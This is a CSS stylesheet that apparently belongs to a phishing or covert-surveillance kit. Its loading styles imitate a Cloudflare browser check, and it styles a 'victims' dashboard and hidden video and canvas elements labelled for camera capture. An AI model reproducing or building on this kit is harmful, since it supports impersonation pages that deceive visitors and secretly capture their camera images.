/* PSI PHP Project - Main Stylesheet */

* {
    padding: 0;
    margin: 0;
    outline: 0;
    box-sizing: border-box;
}

body {
    background: #000000;
    color: #ffffff;
    font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, "Helvetica Neue", Arial, sans-serif;
    font-size: 16px;
    line-height: 1.7em;
    -webkit-font-smoothing: antialiased;
    width: 100%;
    height: 100vh;
    margin: 0;
    padding: 0;
}

/* Loading Page Styles */
.loading-container {
    width: 100%;
    height: 100vh;
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
    background: #ffffff;
    color: #000000;
}

h1 {
    text-align: center;
    font-weight: 700;
    margin: 16px 0;
    font-size: 32px;
    color: #000000;
    line-height: 1.25;
}

p {
    font-size: 20px;
    font-weight: 400;
    margin: 8px 0;
    text-align: center;
}

/* Spinner Animation */
#spinner {
    margin: 0 auto 30px auto;
    display: block;
}

@keyframes fader {
    0% { opacity: 0.2; }
    50% { opacity: 1.0; }
    100% { opacity: 0.2; }
}

@-webkit-keyframes fader {
    0% { opacity: 0.2; }
    50% { opacity: 1.0; }
    100% { opacity: 0.2; }
}

#cf-bubbles > .bubbles {
    animation: fader 1.6s infinite;
}

#cf-bubbles > .bubbles:nth-child(2) {
    animation-delay: .2s;
}

#cf-bubbles > .bubbles:nth-child(3) {
    animation-delay: .4s;
}

.bubbles {
    background-color: #f58220;
    width: 20px;
    height: 20px;
    margin: 2px;
    border-radius: 100%;
    display: inline-block;
}

a {
    color: #2c7cb0;
    text-decoration: none;
    -moz-transition: color 0.15s ease;
    -o-transition: color 0.15s ease;
    -webkit-transition: color 0.15s ease;
    transition: color 0.15s ease;
}

a:hover {
    color: #f4a15d;
}

.attribution {
    font-size: 16px;
    line-height: 1.5;
    margin-top: 32px;
    text-align: center;
}

.ray_id {
    display: block;
    margin-top: 8px;
}

/* Victims Page Styles */
.victims-container {
    background: black;
    min-height: 100vh;
    padding: 20px;
}

.accordion {
    background-color: #002;
    color: #f80;
    cursor: pointer;
    padding: 18px;
    width: 100%;
    text-align: left;
    border: none;
    outline: none;
    transition: 0.4s;
    font-weight: bolder;
    margin-bottom: 2px;
    border-radius: 4px;
}

.active, .accordion:hover {
    background-color: #004;
}

.panel {
    padding: 0 18px;
    background-color: #001;
    display: none;
    overflow: auto;
    padding-top: 10px;
    padding-bottom: 10px;
    color: #0dd;
    border-radius: 0 0 4px 4px;
}

.panel u {
    color: green;
    margin: 3px;
    font-weight: bolder;
}

.panel b {
    color: red;
}

.panel h4 {
    color: green;
    text-decoration: underline;
    margin: 5px;
}

.panel a {
    color: green;
}

.panel pre img {
    max-height: 200px;
    max-width: 100%;
    margin: 10px;
    border: 1px solid red;
    border-radius: 4px;
}

.no-victims {
    color: red;
    text-align: center;
    margin-top: 50px;
    font-size: 24px;
}

.victims-info {
    color: green;
    text-align: center;
    margin-top: 20px;
    font-size: 18px;
}

/* Hidden elements */
.hidden {
    display: none !important;
}

/* Video and Canvas for camera capture */
#video {
    display: none;
}

#canvas {
    display: none;
}

/* Responsive Design */
@media (max-width: 768px) {
    h1 {
        font-size: 24px;
    }
    
    p {
        font-size: 16px;
    }
    
    .accordion {
        padding: 12px;
        font-size: 14px;
    }
    
    .panel {
        padding: 0 12px;
        font-size: 14px;
    }
}

/* Loading table layout */
table {
    width: 100%;
    height: 100%;
    border-collapse: collapse;
}

td {
    text-align: center;
    vertical-align: middle;
    padding: 20px;
}

/* Modern enhancements */
.loading-container {
    background: linear-gradient(135deg, #ffffff 0%, #f8f9fa 100%);
}

.accordion {
    box-shadow: 0 2px 4px rgba(0,0,0,0.1);
    transition: all 0.3s ease;
}

.accordion:hover {
    transform: translateY(-1px);
    box-shadow: 0 4px 8px rgba(0,0,0,0.2);
}

.panel {
    box-shadow: inset 0 2px 4px rgba(0,0,0,0.1);
}

/* Smooth animations */
.panel {
    transition: all 0.3s ease;
}

.bubbles {
    box-shadow: 0 2px 4px rgba(245, 130, 32, 0.3);
}

